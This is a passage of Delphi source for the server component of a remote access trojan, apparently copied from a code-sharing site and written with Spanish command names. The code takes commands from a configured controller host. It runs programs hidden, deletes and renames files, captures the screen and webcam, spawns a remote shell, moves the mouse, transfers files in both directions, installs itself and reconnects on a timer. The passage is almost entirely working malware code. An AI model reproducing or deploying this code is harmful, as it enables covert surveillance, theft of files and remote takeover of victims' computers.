📄 server.~dpr
字号:
end;
end;
if Copy(Recibido, 1, 16) = 'MATARBOTONINICIO' then
begin
Delete(Recibido, 1, 17);
if Recibido = 'On' then
begin
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil), False);
Socket.SendText('MATARBOTONINICIO|On' + ENTER);
end
else
begin
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil), True);
Socket.SendText('MATARBOTONINICIO|Off' + ENTER);
end;
end;
if Copy(Recibido, 1, 4) = 'MSJN' then
begin
Delete(Recibido, 1, 4);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
TempStr1 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
TempStr2 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, pos('|', Recibido));
TempStr3 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Tipo := 0;
if TempStr2 = 'WARN' then
Tipo := MB_ICONERROR;
if TempStr2 = 'QUES' then
Tipo := MB_ICONQUESTION;
if TempStr2 = 'EXCL' then
Tipo := MB_ICONEXCLAMATION;
if TempStr2 = 'INFO' then
Tipo := MB_ICONINFORMATION;
case StrToInt(TempStr3) of
0: BotonPulsado := MessageBox(GetForegroundWindow, PChar(TempStr), PChar(TempStr1), Tipo + MB_OK);
1: BotonPulsado := MessageBox(GetForegroundWindow, PChar(TempStr), PChar(TempStr1), Tipo + MB_OKCANCEL);
2: BotonPulsado := MessageBox(GetForegroundWindow, PChar(TempStr), PChar(TempStr1), Tipo + MB_RETRYCANCEl);
3: BotonPulsado := MessageBox(GetForegroundWindow, PChar(TempStr), PChar(TempStr1), Tipo + MB_YESNO);
4: BotonPulsado := MessageBox(GetForegroundWindow, PChar(TempStr), PChar(TempStr1), Tipo + MB_YESNOCANCEL);
5: BotonPulsado := MessageBox(GetForegroundWindow, PChar(TempStr), PChar(TempStr1), Tipo + MB_ABORTRETRYIGNORE);
else BotonPulsado := MessageBox(GetForegroundWindow, PChar(TempStr), PChar(TempStr1), Tipo + MB_OK);
end;
case BotonPulsado of
IdOK: Socket.SendText('MSG|The user answer: OK' + ENTER);
IdCancel: Socket.SendText('MSG|The user answer: Cancel' + ENTER);
IdRetry: Socket.SendText('MSG|The user answer: Retry' + ENTER);
IdYes: Socket.SendText('MSG|The user answer: Yes' + ENTER);
IdNo: Socket.SendText('MSG|The user answer: No' + ENTER);
IdAbort: Socket.SendText('MSG|The user answer: Annul' + ENTER);
IdIgnore: Socket.SendText('MSG|The user answer: Omit' + ENTER);
end;
end;
if Recibido = 'VERUNIDADES' then
Socket.SendText('VERUNIDADES|' + GetDrives(Tam) + ENTER);
if Copy(Recibido, 1, 14) = 'LISTARARCHIVOS' then
begin
Delete(Recibido, 1, 15);
if Copy(GetDirectory(Recibido), 1, 4) = 'MSG|' then
begin
Socket.SendText(GetDirectory(Recibido) + ENTER);
Exit;
end;
TempStr := GetDirectory(Recibido);
Socket.SendText('LISTARARCHIVOS|' + IntToStr(Length(TempStr)) + '|' + TempStr + ENTER);
end;
if Copy(Recibido, 1, 4) = 'EXEC' then
begin
Delete(Recibido, 1, 5);
if Copy(Recibido, 1, 6) = 'NORMAL' then
begin
Delete(Recibido, 1, 7);
if ShellExecute(0, 'open', PChar(Recibido), '', PChar(ExtractFilePath(Recibido)), SW_NORMAL) > 32 then
Socket.SendText('MSG|File was successful ran :).' + ENTER)
else
Socket.SendText('MSG|An error occurr attempting to ran the file.' + ENTER);
end;
if Copy(Recibido, 1, 6) = 'OCULTO' then
begin
Delete(Recibido, 1, 7);
if ShellExecute(0, 'open', PChar(Recibido), '', PChar(ExtractFilePath(Recibido)), SW_HIDE) > 32 then
Socket.SendText('MSG||File was successful ran :).' + ENTER)
else
Socket.SendText('MSG|An error occurr attempting to ran the file.' + ENTER);
end;
end;
if Copy(Recibido, 1, 7) = 'DELFILE' then
begin
Delete(Recibido, 1, 8);
if FileExists(Recibido) then
begin
if BorrarArchivo(Recibido) = True then
Socket.SendText('MSG|File successful deleted.' + ENTER)
else
Socket.SendText('MSG|File cant be deleted.' + ENTER);
end
else
Socket.SendText('MSG|The file dont exist.' + ENTER);
end;
if Copy(Recibido, 1, 9) = 'DELFOLDER' then
begin
Delete(Recibido, 1, 10);
if DirectoryExists(Recibido) then
begin
if BorrarCarpeta(Recibido) = True then
Socket.SendText('MSG|The folder was successful deleted.' + ENTER)
else
Socket.SendText('MSG|The folder cant be deleted.' + ENTER);
end
else
Socket.SendText('MSG|The folder dont exist.' + ENTER);
end;
if Copy(Recibido, 1, 6) = 'RENAME' then
begin
Delete(Recibido, 1, 7);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el nombre viejo
Delete(Recibido, 1, Pos('|', Recibido)); //borra lo que acaba de copiar
if FileExists(TempStr) or DirectoryExists(TempStr) then
begin
if RenameFile(TempStr, Recibido) = True then
Socket.SendText('MSG|File or folder renamed successful.' + ENTER)
else
Socket.SendText('MSG|The file or folder cant be renamed.' + ENTER);
end
else
Socket.SendText('MSG|The file or folder dont exist.' + ENTER);
end;
if Copy(Recibido, 1, 5) = 'MKDIR' then
begin
Delete(Recibido, 1, 6);
if not DirectoryExists(Recibido) then
begin
if CreateDir(Recibido) = True then
Socket.SendText('MSG|Folder created successful.' + ENTER)
else
Socket.SendText('MSG|Cant create folder.' + ENTER);
end
else
Socket.SendText('MSG|The folder already exist.' + ENTER);
end;
if Copy(Recibido, 1, 9) = 'CAPSCREEN' then
begin
Delete(Recibido, 1, 9);
CapturarPantalla(StrToInt(Trim(Recibido)));
ThreadInfo := TThreadInfo.Create(
Configuracion.sHost,
Configuracion.iPort,
IntToStr(SH),
ExtractFilePath(ParamStr(0)) + 'jpgcool.dat',
'CAPSCREEN',
0);
BeginThread(nil,
0,
Addr(ThreadedTransfer),
ThreadInfo,
0,
ThreadInfo.ThreadId);
end;
if Copy(recibido, 1, 8) = 'CAMBIOID' then
begin
Delete(recibido, 1, 8);
CambiarId(recibido);
end;
if Copy(recibido, 1, 13) = 'LISTARWEBCAMS' then
Socket.SendText('LISTARWEBCAMS|' + ListarDispositivos + ENTER);
if Copy(recibido, 1, 13) = 'CAPTURAWEBCAM' then
begin
Delete(recibido, 1, 13);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
if CapturarWebcam(StrToInt(Recibido), StrToInt(TempStr)) then
begin
ThreadInfo := TThreadInfo.Create(
Configuracion.sHost,
Configuracion.iPort,
IntToStr(SH),
ExtractFilePath(ParamStr(0)) + 'jpgcool.dat',
'CAPTURAWEBCAM',
0);
BeginThread(nil,
0,
Addr(ThreadedTransfer),
ThreadInfo,
0,
ThreadInfo.ThreadId);
end
else
begin
Socket.SendText('MSG|Webcam not detected.' + ENTER);
Exit;
end;
end;
if Pos('SHELL|', Recibido) = 1 then
begin
Delete(Recibido, 1, 6);
if Recibido = 'ACTIVAR' then
begin
ShellParameters.Cliente := ClientSocket;
if ShellThreadID = 0 then
begin
CreateThread(nil, 0, @ShellThread, @ShellParameters, 0, ShellThreadID);
ClientSocket.Socket.SendText('SHELL|ACTIVAR' + ENTER);
end;
end
else
if Recibido = 'DESACTIVAR' then
begin
if ShellThreadID <> 0 then
PostThreadMessage(ShellThreadID, WM_ACTIVATE, Length('exit'), DWord(string(PChar('exit'))));
end
else
begin
if ShellThreadID <> 0 then
PostThreadMessage(ShellThreadID, WM_ACTIVATE, length(Recibido), DWord(PChar(Recibido)));
end;
end;
if Copy(Recibido, 1, 6) = 'MOUSEP' then
begin
Delete(recibido, 1, 6);
TempStr := copy(recibido, 1, Pos('|', recibido) - 1);
Delete(Recibido, 1, pos('|', Recibido));
TempStr1 := Copy(recibido, 1, pos('|', Recibido) - 1);
Delete(Recibido, 1, pos('|', Recibido));
TempStr2 := Copy(recibido, 1, pos('|', Recibido) - 1);
Delete(Recibido, 1, pos('|', Recibido));
if TempStr2 = 'CLICKIZQ' then
begin
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
SetCursorPos(StrToInt(TempStr), StrToInt(TempStr1));
end
else if TempStr2 = 'CLICKDER' then
begin
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
SetCursorPos(StrToInt(TempStr), StrToInt(TempStr1));
end;
end;
if Pos('GETFILE|', Recibido) = 1 then
begin
Delete(Recibido, 1, 8);
Recibido := Trim(Recibido);
ThreadInfo := TThreadInfo.Create(
Configuracion.sHost,
Configuracion.iPort,
IntToStr(SH),
Recibido,
'GETFILE',
0);
BeginThread(nil,
0,
Addr(ThreadedTransfer),
ThreadInfo,
0,
ThreadInfo.ThreadId);
end;
if Pos('RESUMETRANSFER|', Recibido) = 1 then
begin
Delete(Recibido, 1, Pos('|', Recibido));
Recibido := Trim(Recibido);
FilePath := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
Recibido := Trim(Recibido);
ThreadInfo := TThreadInfo.Create(
Configuracion.sHost,
Configuracion.iPort,
IntToStr(SH),
FilePath,
'RESUMETRANSFER',
StrToInt(Recibido));
BeginThread(nil,
0,
Addr(ThreadedTransfer),
ThreadInfo,
0,
ThreadInfo.ThreadId);
end;
if Pos('SENDFILE|', Recibido) = 1 then
begin
Delete(Recibido, 1, Pos('|', Recibido));
Recibido := Trim(Recibido);
FilePath := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
LocalFilePath := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
ThreadInfo := TThreadInfo.Create(
Configuracion.sHost,
Configuracion.iPort,
IntToStr(SH),
LocalFilePath,
'SENDFILE',
0);
ThreadInfo.RemoteFileName := FilePath;
ThreadInfo.UploadSize := StrToInt(Recibido);
BeginThread(nil,
0,
Addr(ThreadedTransfer),
ThreadInfo,
0,
ThreadInfo.ThreadId);
end;
end;
begin
CrearServer();
Instalar();
Conectar();
SetTimer(0, 0, Configuracion.iTimeToNotify * 1000, @Conectar);
while GetMessage(Msg, 0, 0, 0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -